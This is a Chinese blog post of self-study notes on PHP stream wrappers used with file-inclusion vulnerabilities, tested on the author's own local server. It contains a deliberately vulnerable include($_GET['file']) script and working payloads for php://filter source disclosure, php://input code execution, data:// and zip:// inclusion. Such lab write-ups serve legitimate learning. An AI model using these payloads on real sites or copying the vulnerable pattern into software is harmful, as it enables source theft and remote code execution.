php伪协议 配合 文件包含漏洞.md

0x00 起因

被问到了php的一伪协议

后发现自己对伪协议的认识还是太浅, 现在好好总结学习一番

又感觉自己学了半天不知道自己在干嘛。。。哎。。。

0x01 环境

PHP版本:5.4.45

PHP.ini:

allow_url_fopen :on 默认开启

allow_url_include:om 默认关闭

PHP版本<=5.2 可以使用%00进行截断,但是少有低版本的了。。。

先站在前人的大肩膀看看总结 ,主要是两个选项的开关,实验我默认都开了

freebuff上看到的

img

0x02 具体的协议

我的实验代码cmd.php

<?php
include($_GET['file'])
?>

php:// 访问输入输出流

其中主要有两个协议:

php://filter 简介

PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤。

在文件包含中常用到这个协议(因为文件包含的特性,只有包含php标签就会解析,就算是PHP后缀但是里面没有PHP标签也不会解析)

所以如果想要读取运行php文件的源码,可以先base64编码,再传入include函数,这样就不会被认为是php文件,不会执行,会输出文件的base64编码,再解码即可。

常用payload

php://filter/read=convert.base64-encode/resource=cmd.php

image-20200611234922747

解码即可

image-20200611234948231

php://input 协议

这个协议的利用方法是 :

将要执行的语法php代码写在post中提交,只写代码即可。

image-20200612000421438

file:// 协议

file:// 用于访问本地文件系统,

不受allow_url_fopen与allow_url_include的影响

注意需要绝对路径

file://文件的绝对路径和文件名

image-20200611235758574

data://协议

data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

利用payload

cmd.php?file=data://text/plain,<?php phpinfo()?>
cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
cmd.php?file=data:text/plain,<?php phpinfo()?>
cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

image-20200612000109840

image-20200612000523051

zip://压缩协议

条件:

需要绝对路径

allow_url_fopen :off/on 任意

allow_url_include:off/on 任意

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件

要点:不需要指定后缀名也可以利用

我只实验了zip协议

利用的时候:

file=zip://绝对路径#压缩文件内的子文件名

只能传入绝对路径。

要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

http://127.0.0.1/cmd.php?file=zip:///Applications/MAMP/htdocs/xieyi.zip%23sd.php

image-20200612001422357

0x04 后记

留下了菜的泪水,发现学的有点杂,但是有些东西学的不到位吧。
纯自学有时候有点迷啊,学的乱七八糟的。
还有几个协议没写完,先把常用的写了,后续补上

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值